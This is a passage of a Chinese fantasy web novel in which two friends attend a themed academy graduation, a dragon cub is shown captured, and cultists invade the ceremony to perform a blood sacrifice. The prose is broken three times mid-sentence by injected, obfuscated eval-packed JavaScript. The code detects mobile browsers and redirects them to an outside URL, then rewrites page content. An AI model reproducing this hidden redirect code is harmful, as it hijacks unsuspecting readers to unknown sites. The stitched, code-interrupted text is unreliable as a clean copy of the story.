RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212871|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲口说出来还是有些惊讶。 陈凌鸦脸上毫无异样,依旧是那副嬉皮笑脸的模样,“嗨呀,人家厉害,我也不差!再说,危危是我的朋友,我朋友厉害说明我眼光好啊!行了老舅,不和你说了,先走了。” “诶,对了,最近东区不太安稳,池危,如果可以的话还是尽快搬走吧!”陈霜易突然想起什么,冲着两人提醒一句。 池危眼神微动,听了进去。 东区不太安稳?那不是正好浑水摸鱼。 她还愁不乱起来怎么调查维泽斯的秘密呢。 看着陈凌鸦走时微微凌乱的脚步,再看看池危八风不动的背影,感慨一声,“到底还是小孩啊,藏不住心事……” 另一边,池危扯住越来越快的陈凌鸦,有些好笑,“想问什么就问吧,慌什么。” 陈凌鸦立刻停住,瞅了眼她,“真的?那我就问了,你可别后悔。”也没给池危插话的机会,问题一个接一个,嘟嘟嘟机关枪一样往外冒。 “你觉醒天赋是什么时候?多久了,你还契约了使魔!什么时候?就是这小狗崽?我还是不是你朋友了,这种大事都不早告诉我!”陈凌鸦性子急,直接上手去扒拉碎星。 碎星这次没逃过,被抓在手里揉揉肚子,摸摸爪子,嗷呜直叫,水汪汪的眼睛望向池危,希望能唤醒主人的怜爱,救它脱离魔爪。 你一个星云的化身又没有实体,都是魔力变成的躯壳,怎么可能会难受……池危默默腹诽。 虽知道它在装可怜,但谁家使魔谁心疼,她最后还是不忍心,让陈凌鸦别太过分。 飞艇内部是蓝白配色,底部挂着造型独特的白水晶灯,墨蓝色地毯铺满整个休息室,里面摆着几张床和沙发,两人各自找了个地方坐下。 池危将碎星放在腿上,轻抚细软的绒毛。 “凌鸦,说起来很奇怪,其实我的魔力天赋一直都有,只是因为一些原因无法被检测出,我也是不久前才发现的,后来抱着尝试的心态召唤使魔,没想到成功了。” “我没有想瞒你,只是不想空欢喜一场,因此今日才告诉你。” 天赋检测在如今准确率极高,几乎不可能出错,更何况她当初不愿相信测了一遍又一遍,结果她现在说自己当初没有测出,之后又莫名其妙地发现了。 很有疑点。 池危思考一番还是决定坦诚相待,除了她自恃别人查不出她身上的问题,另一方面则是在自己认定的朋友面前,她更愿意袒露真实,而不是伪装后的假面。 经历过漫长的岁月,桀骜的边边角角都被粗暴地削去,只有一点执拗着生长。 她想,无论怎样,人总要有能够交心的朋友吧。 池危润泽的黑发蜿蜒到胸前,绿眸深邃地望着陈凌鸦,宛如上好的翡翠,眼神真挚又诚恳,神秘蛊惑,让人不由自主地相信,靠近,像是引诱人类的海妖。 不好! 敌方对我方使出魅惑! 我方血槽清空! 陈凌鸦恍惚一瞬,“哈,原来是这样。” 她笑了过去,虽然知道池危在避重就轻,掩藏了许多细节,但她没有深究,而是顺着朋友的意思,一笔带过。 “无论怎样,恭喜你,池危,恭喜你得偿所愿。”轻柔的笑意浅淡又真切,像是水面荡起的波纹。 衷心祝愿你,我亲爱的朋友,祝君前路坦荡,愿君再无束缚。 陈凌鸦脸上是难言的认真。 4. 参加 “两位女士,请下车吧!” 飞艇极速刹车,甩出一个漂亮的漂移。 像是迫不及待似的,池危和陈凌鸦刚下车还没站稳,身后的飞艇只剩一串看不见的尾气了。 陈凌鸦:……呵呵。 她倒也没纠结,兴致勃勃地拉着池危乘坐面前空地摆放的一排飞行扫帚。 “小胖告诉我,这次毕业典礼是仿远古时代魔法师主题,飞行器都是魔法扫帚样式的!唉,可惜你没穿魔法袍,不然我们完全可以cos大名鼎鼎的双生魔法师——菲拉和莉瑞亚! 她们最显著的标志就是特别喜爱在扫帚上打蝴蝶结。 这可一度成为风潮呢!” 陈凌鸦选中一把缠绕着紫色蝴蝶结的扫帚,拉着池危选另一把有蓝色蝴蝶结的扫帚。 池危将肩上的小狼放在口袋里,连根狼毛都遮得严严实实,随后跨上飞行器。 两把扫帚直冲天际,拖着淡蓝色火焰,向天上的浮空城驶去。 双生子?喜爱在扫帚上打蝴蝶结?有点熟悉。 池危努力扒拉生锈的记忆,终于从繁杂的事物中翻出两个模糊的影子。 哦,是她们俩啊,她记得好像是两个精灵吧,一对有着可爱包子脸但异常严肃正经的双胞胎当初还是幼崽时像跟屁虫一样跟在她身后,对她的一举一动格外推崇,一字一句都奉为圭皋。 池危的脑海中浮现两双亮晶晶的孺慕眼眸。 可是…… “哪里传出她们喜欢蝴蝶结的谣言?”她怎么不知道,完全没有印象。 陈凌鸦头也没回,眯着眼,魔法袍猎猎作响,看起来很是享受在空中毫无遮拦地驰骋,扯着嗓子喊道: “是她们两位在勇者回忆录中自己说的哦,说是勇者大人教导的,也是勇者本人最喜欢的打结方式!才不是什么谣言!” 欢快的尾音被高天之上的疾风扯碎,却清清楚楚地传入池危的耳朵,那几个令人羞耻的字在脑海中不停地重复,但她宁愿自己听错了! 勇者回忆录…… 勇者……回忆录…… 回忆…… 录……!? 哪来的勇者回忆录!她之前怎么没听过! 而且不是她最喜欢打蝴蝶结,是……她只会打蝴蝶结!不是喜欢! 呃,好像也没什么区别。不过池危绝不会承认这种事的,那就只能毁尸灭迹了,所以,这种黑历史到底是哪来的,必须赶紧清除!有损勇者的威严! 池危努力回忆了勇者之后的那几个马甲的经历,从头到尾仔细寻觅,连一粒沙子一颗小草都不放过,从出生到死亡的回忆加速播放了一遍,终于找到了一点端倪。 她面无表情,“是不是皇室的藏书。”虽是疑问,但她已经百分百肯定,就是维克多那个狗东西干的! 皇室全体成员都是勇者的狂热粉丝,但她那时候身份特殊,没人敢来打扰她,更别提分享闲书。只有维克多能干出这种事。 她曾经经常被那狗东西骚扰,往耳朵里灌输勇者的丰功伟绩,这种事对于当事人来说还是羞耻度超标了。 有一次维克多还神神秘秘地要给她看什么勇者の秘密,一脸不怀好意,横看竖看都贱兮兮,令人手痒,最后的结果是当然被她狠狠教训了一顿。 所以要和她分享的就是这什么回忆录? 此时此刻,维克多贱兮兮的声音再次在她耳边回响:“绝对是好东西!关于勇者大人的好东西~,好~东~西~哦!” “诶,小池,小池你的脸色怎么这么差啊!”陈凌鸦转头惊道。 看起来好像下一秒就要暴起杀人了……陈凌鸦欲言又止。 没什么大惊小怪的,毕竟社死是每个人类都无法释怀的事。 池危狠狠地抹了把脸,将扫帚停下,踏上深灰色的砖石,头也不回地走入学院,像极了冷酷无情的杀手。 “真的没事吗?是不是生病了——”陈凌鸦被池危温柔中暗藏危险的笑容吓得一个激灵。 “没有啊,没事(^_^)”池危笑眯眯地回答。 得到回答后陈凌鸦识趣地不再多问,没有不要命地问她为什么突然面色紧绷,眉头紧锁,嘴唇抿成一条线。之后虽然笑了,但笑得像是准备刀人一样。 两人走进校园闲逛。 利亚姆灵能学院是D星系最大的灵能学院,在整个帝国中排名只能算中上,但在全星际都小有名气,最大的原因就是——爱搞花活。 从校长到老师到学生,无不喜欢各种节日庆典,特爱热闹和特别,逮着机会就折腾学校,热衷于将学校从头到脚全部换新,各种风格主题的装扮从不重复。 别的学校的校庆通常是十年一次,有的甚至更久,而利亚姆则是三年一次。 为了有更多的节日能折腾,就连精灵诞礼,海妖的逐月节都要跟风搞个主题扮演活动,像毕业典礼这种盛大的活动,怎么可能错过呢? 此时,池危二人已经走进这座浮于高空的学院。 从外部看,学院整体包裹在淡蓝色的保护罩内,像一个巨大的水晶球。 水晶球内部是雾蒙蒙的,整体呈暗色,无法从外界窥视。学院内部矗立着两座洁白巍峨的法师塔,一左一右,仿佛是沉默高大的守护者,无声守护着利亚姆学院的学生。 昔日银灰色,外表光滑颇具科技感的教学楼被一座座哥特式城堡取代。暗红、黝黑交织,冲天的塔尖锋利地仿佛要刺破天空,街道上弥漫着灰白的雾气,可见度较低。 走在路上,除了近处的建筑和行人,学生们只能隐隐约约望见远处狰狞庞大的古堡轮廓,像是沉睡蛰伏的古老巨兽。 幽暗,神秘,古老,可怖。 “这次的主题也太棒了,好真实啊!校长一定花了不少功夫吧!”一个快活的声音打破了静谧。 陈凌鸦两眼放光地看着周围的一切,很多和她打扮相似的学生在她身边走过,同样不时发出惊呼,只有少数学生依旧穿着常服。 “你看,我就说应该穿魔法袍吧,我家里还有好几套呢,你要是答应了,保准给你打扮得漂漂亮亮!”她嘴里不死心地嘟囔着,试图以此软化小伙伴的铁石心肠。 池危此时已经平复下来,也对这里的改变稍稍惊叹,顺口道:“行啊,下次校庆一定奉陪到底。” 得到这意料之外的回答,陈凌鸦愣神一瞬,随即蹦过来兴奋地抱住了池危,“小池,你也太好了吧!那就这么说定了!” 池危一边被陈凌鸦拉到古堡门前触摸布满岁月痕迹的门扉,一边心想,她可不是之前心思敏感,不愿接受朋友帮助的小池。 漫长岁月的消磨,早已将曾经少年人稚嫩的自尊,宁折不弯的执拗磨得圆润、光滑,将棱角分明磨得灵活变通,别说善意的帮助,若是陷入困境,怀着恶意的施舍嘲笑她也能笑着往下吞。 她感慨这些并不是以过来者的心态,高高在上地指责曾经青涩的自己不知变通,也不是自卑于自己被浊流世事所塑造得面目全非,她从不对自己做评价,只是全然接受。 无论是哪一种都很好。 毕竟无论变成哪种模样,池危就是池危,是那个经历世事磋磨,人情冷暖,依旧坚定内心的池危。是那个早已疲惫,却再次无人知晓地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212872|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扛起重任的池危。 池危摘下身旁铁锈色树上结出的怪味糖果,往嘴里塞了一颗,嗯,酸的,真怀念啊。 “凌鸦,快过来,我们该走了。”池危像是唤小狗一样向着陈凌鸦招手,望着她和相识的朋友告别,头发一甩一甩,欢快向她跑来,唇角微勾。 [系统,查到那批失踪的学生老师在哪了吗。] 系统:[抱歉宿主,我入侵了军方的信息库也没能查到准确线索,只知道他们是在空间站模拟训练中突然消失的,军方的人推测是出现了空间裂缝,他们倒霉地被卷入了,如今生死不知,正在请外援。] 倒霉?真的只是倒霉吗…… 如果她没记错的话,这些年一直有小规模的失踪案出现,统统查不到线索,草草结案,只不过这是第一次出现如此大批量人员失踪,其中甚至牵扯到某些大家族的重要人物,导致他们集体向帝国施压才引起重视。 偌大的帝国,还是按照历史上每一个文明的轨迹,从初成的蓬勃到鼎盛,之后不可避免地走向了衰败。 池危温柔地笑了笑,深绿的眼眸如一潭寂静的湖水,波光粼粼,她安慰系统,“没关系,你已经做得很好了,接下来是我的任务。” 听着耳边系统感动的呜呜声,脑中思索不断,拉着陈凌鸦走向礼堂。 天色暗淡,人造太阳掩去了最后一丝光芒。 ** 某处空间。 一只身长三米,浑身火红鳞片的小龙被纵横交错的锁链锁着,暗红色,刻着符文的狰狞锁链嵌入血肉,勒出道道血痕,红龙被死死压在地面,越是挣扎,锁链越是缩紧,围着乌压压的一群蒙着黑袍的人。 愤怒但略显稚嫩的嘶吼声刚发出就被一只苍白的手掌狠狠掐断,掌心收紧,红龙甚至能感受到喉骨被巨大的力量碾压发出的咯吱声。 疼痛钻入脑中,意识渐渐模糊起来,那人轻松破开龙族强悍的□□防御,将红龙捏的几乎窒息。 呼呼呼,就在红龙快要撑不住时,桎梏骤松,甘甜的空气一股脑涌入,它浑身抽搐,四肢痉挛,颤抖着呼哧呼哧大口吸入空气,将它从死亡的阴影中拉出。 “我说过了,不要吵。” 死里逃生后,怒火掩藏着脆弱害怕在灿金色的竖瞳中熊熊燃烧! 这群该死的臭虫!竟然敢在龙族的领地掳走幼崽,龙族史诗级神话级准神级的巨龙一大堆,长辈发现它不见了一定会找过来,将这里夷为平地的!等着吧,这群混蛋,绝对不会放过你们! 经过之前的教训,红龙不敢出声,只是用一双竖瞳恶狠狠地盯着他们。 这群黑衣人鬼鬼祟祟地围成一团,中间出声的正是先前威胁他的男人! 窸窸窣窣几句话钻入耳中,红龙瞪大了眼睛。 “时空之主的唤醒仪式……” “决定了……地点就在……” 红龙努力悄咪咪竖起耳朵去听。 “……维泽斯星。” 维泽斯星,那是哪里? 红龙绞尽脑汁思考也没想出在哪,不经意间抬头,正好对上一双血腥的红眸。 血眸仿佛蕴藏着尸山血海的血河地狱,无数冤魂凄厉嚎叫,挣扎着爬出却被拽回,怨气冲天。 血腥,绝望,可怖。 红龙脊椎骨升起阵阵寒意,直冲脑海,望见天敌的危险警报滴滴作响,浑身僵直,牙齿下意识不停颤动。 那人冲它扯出一丝诡异的笑容,皮肉松弛,像是骨头架子上罩着一层人皮,笑容充满恶意和兴奋,苍白的面皮衬托血眸愈红。 “小东西,你不乖……” 5. 异变突生 利亚姆学院的大礼堂位于学院正中央,目前的外表是一座古老陈旧,由遍布裂痕的石块垒成的,仿佛刻满了历史尘埃的暗红色尖顶神殿。 其内部运用了最新的空间折叠技术,内部的空间足足有一个中型庄园那么大。 推开门,烛火莹莹的露天花园映入眼帘,头顶是闪耀着碎星的静谧夜空,两侧陈列着几张矮桌,摆放了一排排诱人的,由天然食材做成的美食,色泽鲜艳,香气扑鼻。 中间则是浮空的原木色舞台,上面装饰了几圈五彩的鲜花,座椅一圈圈拱卫着舞台,呈现弧面状,一个个座位像是挤挤攘攘的蜂房。 她们来得有些晚,台下的座椅几乎坐满了人,二人赶紧找了空位置坐下。奇怪的是,之前看着密密麻麻的座位,等到真正坐上去时,才发现每个座椅之间隔了半只手臂那么长,宽敞得很。 刚坐下不一会儿,身边的闲聊声突然安静了。 天光乍亮,学生们纷纷抬头,只见天上星辰的光芒大放,投射到舞台上,金银色交织,璀璨耀眼,星光中出现了几个模糊的人影,而后光芒渐熄,点点星光却徘徊不散,一粒一粒汇聚成道道流光,流光又织就布匹,化作袍子、手杖、项链和冠冕装点了从星光中走出来的人。 “哈哈哈,同学们,晚上好啊!我很高兴见到大家。今天是个欢乐又悲伤的日子……”中间的一位捋着白胡子,穿着深蓝色魔法袍的老人做出了开场白,他身边站着两位校董,一个是复古骑士装扮,银色盔甲,背着一人高的重剑,另一位则着一袭圣洁白袍,手持深金色法杖。 伴随着他的开场白,耳边隐隐约约能听到精灵的颂歌和天使的吟唱。 “糟老头子年纪一大把,玩得倒花,真是——”陈凌鸦说着说着突然捂住了嘴“唔唔唔!” 感受到陈凌鸦异样的动静,池危回头一看,本想查探情况,却控制不住“噗嗤”一声。 顶着她幽怨的眼神,池危努力拉直嘴角,作用却不大,明显能看到嘴唇绷紧呈现弧形线条。 “不好意思,凌鸦,你看起来实在是太好笑了。”池危漫不经心地又给陈凌鸦的心口扎了一刀。 没办法,谁让她的嘴巴现在仿佛被谁捏住一样,撅起一个“O”字,嘴唇被拉得老长,像是一只滑稽的扁嘴鸭子,呆呆的,不太聪明。 “唉,说了很多遍了,校长好歹也是史诗级魔法师,你这点小动静还能瞒过他?明知故犯,还不做一点伪装,搞得别人想不听都不行,每次都被抓个正着,校长都记住你了,也不长点记性。”池危无奈扶额,“你再看看别人是怎么做的。” 池危又指了指她左前方的两个人影,陈凌鸦跟着望过去,忍不住瞪大了眼睛。 “呜呜呜呜嗯唔额额嗯。”她说不出话,只能用两只手夸张地比来比去,浑身上下都显示了她的忿忿不平。 “嗯,是是是。”池危一只手撑住下巴,点点头。“对,她们也在吐槽,可是人家用了静音法阵啊,没有你这么明目张胆,校长就装作没发现这点小把戏咯。” 陈凌鸦愤怒地按住了池危的手臂,两只深棕色的眼睛溢满了恳求,又唔唔唔试图表达什么。 池危看了半天,突然福至心灵地明白了她的意思,“让我把她们的法阵解开,坑她们一把?这,不太好吧!”她眼睛咕噜一转,嘴上说着不太好,但双眸亮起,是个人都能看出她十分意动。 装模作样地看着陈凌鸦用光脑发了许多恳切的乞求,甚至答应了她的不平等条约,才终于慢悠悠地运转魔力,冲前方隔空一点,咔嚓一声,静音法阵碎成了渣渣。 两个精灵法师打扮的女生本来还在头碰头,竖着尖尖的精灵耳朵,肆无忌惮地高声吐槽,“哇,校长还干过那种事啊,想模仿大名鼎鼎的焰心魔术师结果被路过的强者一举戳穿,太好笑了……嘎!” 周围的学生暗自投来敬佩的目光,一边为她们默哀一边将耳朵竖起来,身子往这边倾。 两个倒霉的女生不出意外地被制裁了,她们惊恐地发现自己说不出人话了,只能不停地嘎嘎嘎,朝邻座的同学求助,这才注意到周围人两眼放光的八卦表情,她们终于反应了过来。 怪不得变成这样,在校长面前讲他坏话不被制裁才怪呢,呜呜呜。 谁!是谁这么缺德,把人家静音法阵给破了!看不得人聊八卦吗! 她们眼含泪水,灰溜溜地捂住嘴,不再说话,只是心中絮絮叨叨放狠话:不要让她俩知道是谁干的,不然这人死定了! 一旁的池危事不关己,陈凌鸦唔唔唔地幸灾乐祸,周围也响起了窃窃私语,当然,再没有人忘记刚才的教训,一个又一个静音法阵齐齐亮起。 “……不要畏惧被灼伤——世间最绚烂的魔法,往往诞生于失控的吟唱。” “去吧,孩子们,群星为你们加冕,不要畏惧星海的浩瀚,宇宙的神秘,勇气与坚守铺就道路,未来必定光辉灿烂!” 时间一晃而过,典礼快要接近尾声了,利亚姆校长正凝成一个又一个宽大的学院帽浮在空中,准备为学生们加冕。 就在这时,池危感受到什么似的,皱了皱眉。 眼看校长和董事们纷纷升空,气氛也达到了最顶峰,旁边的陈凌鸦听到池危的低语,“情况不对劲,凌鸦,待会要小心点。” 仿佛冷水兜头泼下,兴奋喜悦之情被这句话戳破,陈凌鸦感受一番,虽然没发现异常,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212873|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有怀疑朋友是在无中生有,郑重地点头,浑身紧绷,有些慌乱,但又不知如何准备,只好盯住升空的校长,同时用精神力检查一遍空间钮内的物资和武器。 周围的空间波动不对劲,一处正常的稳定的空间就像是同时包含了许多图层,但图层之间互不干扰,不会出现这个图层入侵那个图层,这个图层的生物跑到那个图层。 但此时此刻,掌握的空间法则让她能感受到有一处异空间与这里连在了一起,并有一个点黏连,那个点还在不断扩大。 所以,有人正试图利用传送法阵,入侵利亚姆学院。 池危迅速做出判断,沉思片刻,将手伸入口袋,揪了碎星一撮毛,塞到陈凌鸦手里,并传音给利亚姆校长,“有不明人士正在入侵学院,意图不明,恐非善类,请校长迅速打开防御装置。” 池危能清晰地看到校长的瞳孔收缩一瞬,不知这时他的心中闪过多少思绪,但结果是仅仅犹豫几秒就按照着她的话打开了防护罩。 透明的防护罩瞬间包裹住整座礼堂,几位董事神情微顿,与校长对视一眼,神色如常地落了地,照常发表演讲。 但周围维护秩序的老师和学长们都像收到什么指示似的,不动声色地行动起来,有些敏感的学生已经察觉到不对劲,低下头暗自观察老师们的动向。 一种风雨欲来的的氛围渐渐扩散开。 池危也没闲着,法则之力随心而动,瞬息间,给每个学生罩上了一层保护罩,作为最后的应急手段。 很快,加冕仪式完成,学生们落回座位,但校长没有开启下一个流程,也没有做解释,沉默蔓延开,几乎所有的学生们都嗅到了紧张的气息,安静、警惕之感暗潮涌动。 “咔嚓”,半空中出现了一点裂纹,蜘蛛网一样迅速蔓延开,仅仅一秒不到就扩散至成人大小,接着,一片片空间碎片噼里啪啦掉落,像碎掉的玻璃,露出通道,戴着白骨面具的黑衣使徒鱼贯而出。 像是来捣乱的蚁群…… 池危走神一瞬。 她为自己这一世定下的原则就是不会主动地过多干涉他人命运,顺其自然。 静静旁观,默默注视他人的命中注定,顶多,到她眼前的会帮上一把。 因为她只是个普通人啊,她从不会把自己看得多么重要,非她不可,没有她事情也会被解决,世间生灵总有自己的出路。 因此,哪怕她知道有人将入侵也不会阻止,只会暗中帮忙。 况且,此时的池危感到自己冥冥中触动了命运的丝线,察觉到即将出现的入侵者们与她有一丝微弱的联系。 她只需要等。 等着他们将线索主动送到她手中。 6. 抓马大戏 池危原本正好整以暇地看着入侵者捣鼓,可渐渐的,她的脸色古怪起来。 “世界轮转,岁月如流,唯有您万古长存。” “执掌时空,调度轮回,您是一,也是万……” 寻常人无法听见的祈祷声随着入侵者的靠近灌入耳中,忽略学生们哗然一片,池危面色凝重。 竟是【空轮】的信徒? 【空轮】是位格极高的远古神,据说其因不满足于执掌规则的狭隘,选择自绝于天地,补全规则,死得连骨头渣都不剩了。 但到了神明这种级别,死与活的界限已经不甚分明,在某种程度上就等同于规则的一部分,就算是陨落也仍保留一定的活性,也被信徒称为沉睡,长眠。 这种陨落神明的神力最好借用了,只要运用正确的仪式,就可以引动神力为己用。所以说神明相当于人工客服,神力相当于自动回复,遇到刺激会无意识逸散回应,毕竟“死神”也无法拒绝不是。 而与神有关的仪式是仅在小部分人中间流通的高阶信息,因此,入侵者不一定是祂的信徒,但也一定与【殿堂】有关。 殿堂是大部分神明信徒的聚合组织,包括使徒,行者,和眷者,这是信徒的职位和等级划分,通常由一名使徒带领多位行者到处传播信仰,眷者则在殿堂侍奉神明,是最低级的信徒,负责文书编撰工作。 使徒的实力最强,地位最高,可以聆听神谕。目前已知的使徒有十二位,实力相当于史诗级。不知名姓,被许多势力记录在案。 神明不需要生灵的信仰,但不等同于毫不回应,而生灵的共性便是崇拜未知的伟力,从过去到现在,都不乏遇到难以解决的困境,将希望寄托于神明的生灵。 所以信徒永远不会消失,信仰也永远不会断绝。 神明虽不需要信仰,却各有喜恶,各有准则,若生灵的行径符合神明掌握的规则,举行的仪式对上祂们的喜恶,祂们就有所感应,可以降下神力,干涉世间。 当然,干涉的程度是有限的,世界有自己的运行规律,即使是神明也不能为所欲为。 思绪流转,池危不再为难自己思考幕后黑手是谁,只专心致志冷眼观察。 这些黑衣行者一来就被早已准备好的蛋壳似的防护装置挡住,黑压压的几十人出现在半空,其中一人飞出来高声喊道:“利亚姆,神明选中了此地做祂回归的圣堂,这是你的荣幸,还不速速让开。” 说着便无视了蓝色的光罩,敏捷地躲开自动反击装置发射的量子光炮,直直撞破保护罩,带领几位心腹冲到利亚姆校长身前,与利亚姆校长对上,利亚姆身边的两位也迅速上前配合处理蜂拥而至的黑衣人。 黑衣行者统一身着毫无装饰的黑袍,兜帽遮住了脸,隐隐能看出脸上覆盖着骨质面罩。 领头之人一声令下,这些黑衣人便像蜂巢的工蜂,涌向地上的学生,呈包围之势,牧师和骑士见状立即转移阵地,一内一外护住学生,此时空中战场留给了利亚姆和黑衣使徒。 黑衣行者不假思索地冲向比他们高了两个等级的敌人,他们眼神无比执拗,像是静默的岩石,向着目标自杀式地袭击,即使被砍下半边身体却连一声也不哼。 就像是……没有痛觉的傀儡。 这个念头在骑士的脑海中一闪而过,激起一阵恶寒。 骑士抽出重剑,狠狠一劈,锋锐的剑气纵横二十几里,撕裂了一大片使徒,余波甚至将身旁十米之内尽数清空。 牧师一手拿着白石法杖敲击地面,法杖发出圣光瞬间覆盖了整座学院半数人,形成一个巨大的圆,使照耀到圣光的人精神一振,同时施加法力消耗减半,恢复加快,防御增强的全方位增幅。 圣光覆盖的地方短时间内削减一切伤害,为缺乏经验的学生们隔绝了战斗余波,平稳度过手忙脚乱的适应期。她的另一只手架着空气加农炮发出砰砰砰的巨响,激起巨浪,一扫就是一片。 几位实力不错的老师与学生一齐御敌,光炮与魔法阵齐发,各色高能量攻击交织在一起,轰隆作响,让靠近之人皮肤有撕裂之感,大片黑衣使徒直冲学生而来,呈包围之势。 学生们训练有素,不说身经百战,但在校期间模拟战场经验丰富,遇到此事也不惊慌。指挥系学生回过神后迅速站出,主持大局,“所有人,灵能者上前,其余人后退用光炮辅助,机械系的快发装备,医疗兵就位,准备接收伤员!” “是蓝华学姐在指挥,还有威廉学长他们!”有学生叫道。 学生们位阶都不高,普遍在精英阶,伤害远不如高科技武器和魔法卷轴,续航能力也很差,只能依赖武器作战。 很快,就有机械系学生拿出放在空间钮中五花八门的武器装备,分发给周围人,前面的灵能者已经和黑衣使徒对上了,在场的老师和学哥学姐们都加入进来顶在最前头,拿到武器的学生也立刻冲向前。 陈凌鸦虽是药剂师,身上却带了不少武器,防护的攻击的一大堆,池危拒绝了防护装备,只拿了两把激光枪,见缝插针,枪法极准,游刃有余地在人群中游走攻击,每一枪都击倒一串黑衣人。 池危也配合着陈凌鸦的攻势,默念咒语,辅助攻击,同时将储存的药剂递给需要的同学。 利亚姆校长在全力对战黑衣人的间隙,不忘分出精神力观察战场,发现学生们没有被突然的袭击搞得手忙脚乱,局势尚在掌握中才收回精神力,重新投入到与黑衣人的战斗中。 “【殿堂】的人?”利亚姆刚说出口就感觉到了不对,马上否定自己,“不,你的这些手下都被洗脑了,受你完全控制,【殿堂】虽然疯疯癫癫,偏执荒唐,但都是为了靠近神明,不会对同为信徒的自己人下这种狠手。” 黑衣使徒冷笑一声,再次吟唱颂词,这次借用了【工匠】的力量,整条手臂化为银白色的机械臂,带着万钧之力,发出尖锐的音爆声,气浪荡开数十米,狠狠锤向利亚姆。 “你不需要知道我是谁,死人,不必多言。”低哑的声音混着虫鸣似的嘶嘶声响起。 利亚姆用法杖凌空一点,一道巨大繁复的魔法阵瞬间成型,轻而易举地挡住了这仿佛要撼动山海的一击。 他有些遗憾黑衣使徒的谨慎,没有透露任何有效信息,但也察觉到了对方诡异的自信。 他试着激怒对方:“你我同为史诗级,咱俩一时半会是分不出胜负。你的那些手下最高不过传奇,我们学院可是还有两位史诗,你竟然如此笃定自己会赢,真是可笑。” “也不怕到时候一败涂地,让人笑掉大牙!” 黑衣使徒依旧不为所动,十分沉得住气,又换了个【空轮】的颂词,身影瞬间消失,利亚姆立即使用追溯魔法,可代表痕迹的银色丝线从一点分出数百道密密麻麻的线延伸到虚空! 像是逃脱不掉的蛛网…… 利亚姆面色微沉,不再保留,使出禁咒·血雨无间! 一滴黄豆大小的血滴凭空生成,瞬息间分为无数更微小的血滴,整片空间每一处角落都分布着由血滴形成的血雾。 利亚姆的预感确实没错,就在禁咒形成的那一刹那,每一道丝线的末端都显出一个人形虚影,正是黑衣使徒! 数十道身影每个都有史诗级,一齐催动虚空风暴,无形的利刃旋转着包围了利亚姆。 而利亚姆也催动了禁咒,所有的血滴同时爆开,与利刃风暴轰得撞上,发出震天巨响! 紧接着,一声又一声爆炸如连珠炮一样响起,学院上空整片天空都被波及,远处没有圣光保护的地方甚至被炸出了一个个巨坑,无论是砖石,地皮,还是草木通通被湮灭成灰。 牧师抬头哇哦了一声,揉揉耳朵,“这战况还蛮激烈的嘛!” “利亚姆也不知道悠着点,我也是很不容易的好吗!” 她一边说着一边再次轻点法杖。 神圣守护! 浩荡的白光以她为中心荡开,轻柔地将空中余波推走。 下面作战的学生除了被震得头晕耳朵疼,没受多大伤害。 只是陈凌鸦越打越觉得不对劲,皱着眉观察黑衣行者的行动轨迹,这些人的目的不明,一开始是包围学生,后来则目标明确地冲向几个方向,她又观察了几息后发现了怪异之处。 黑衣行者很少主动攻击,而是舍弃自身,是一种自杀式的袭击,无脑冲向两位校董,面对学生则是放弃抵挡,让同伴冲进去。 不仅是她,老师和学生也发现了,那位蓝华学姐转变策略,让学生以阻拦为主——虽然他们也不知道黑衣人的目的为何,但是阻拦就对了!敌人想干什么就跟他们对着干,准没错! 但是黑衣行者人数众多,几千人不要命地往前冲,甚至以命换命,以伤换伤,学生们抵不住这股疯劲,很快就被冲散了队形。 而池危此时却无法分心帮忙,她专注地和脑中汹涌的呓语对抗,听不清的祈祷声一股脑往耳朵里灌,仿佛是数万年不被回应的执念,悲恸又哭嚎,叫喊着绝望…… “主啊,您为什么弃我们于不顾,为什么闭眼不看我……” 猛烈的情感冲击令她失神一瞬,可等她回过神来,黑衣使徒已经到达了各自的目的地,站在正确的位置上,一齐吟诵【空轮】的颂词,随着低沉诡异的祈祷声响起,法阵启动了。 霎时,所有黑衣人同时瘫软在地,身下洇出鲜血,仿佛全身的血不要命地往外流,又像是被什么东西不断吸取生命,形成的血水汇聚成不知名的诡异纹路,血水反重力地朝着法阵中心逆流,他们却一声不吭,像是毫无感觉的人偶。 随着祭品到位,学生们的脚下,一道又一道阵纹亮起,亮光直冲天际,引起了校长和董事们的注意。 与首领纠缠的利亚姆酝酿的禁咒被打断,他却顾不得敌人抓住这个机会偷袭。 “你们疯了不成!竟敢在黎明帝国的地盘公然搞献祭,就不怕帝国的铁骑将你们踏平,裁决庭的猎犬将你们撕碎吗!”之前不好的预感成了真,他总算知道黑衣人为何这么信誓旦旦了,利亚姆校长心中好似被重重敲了一击,目眦欲裂地望着对面的黑衣使徒! “呵呵,为了吾神的荣光,一切都是值得的!”那人被白骨面具遮住面容,看不清脸,但露出的嘴角扯出一个夸张的弧度,几乎扯到耳根,将松垮的面皮绷紧,笑容肆意张狂,血眸中溢出惊人的狂热痴迷,燃烧着熊熊烈火,仿佛要把周围的一切,甚至自己,全部燃烧殆尽! 